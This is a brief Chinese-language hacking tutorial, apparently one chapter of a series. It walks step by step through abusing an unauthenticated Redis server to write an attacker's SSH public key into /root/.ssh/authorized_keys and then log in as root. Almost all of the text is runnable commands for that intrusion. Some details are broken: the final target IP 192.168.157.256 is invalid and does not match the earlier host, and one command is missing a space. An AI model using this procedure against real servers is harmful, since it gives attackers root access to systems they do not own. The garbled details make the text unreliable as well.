上一章我们利用redis服务进行了任务反弹shell
这次我来演示如何利用redis密钥登录ssh
**首先登录redis **
redis-cli -h 192.168.157.253
这里说下要用key登录对方主机一定要开启key登录
在kali下生成密钥公钥
ssh-keygen-t rsa
生成的公私钥存放在/root/.ssh/id_rsa
我们需要将id_rsa.pub上传到目标服务器
防止乱码 导出key
(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > key.txt
导入内容
cat key.txt | redis-cli -h 192.168.157.253 -x set xxx
这里的–pass为密码没有可不填
设置路径
config set dir /root/.ssh
设置文件名
config set dbfilename authorized_keys
保存
save
ssh 登录
ssh -i id_rsa root@192.168.157.256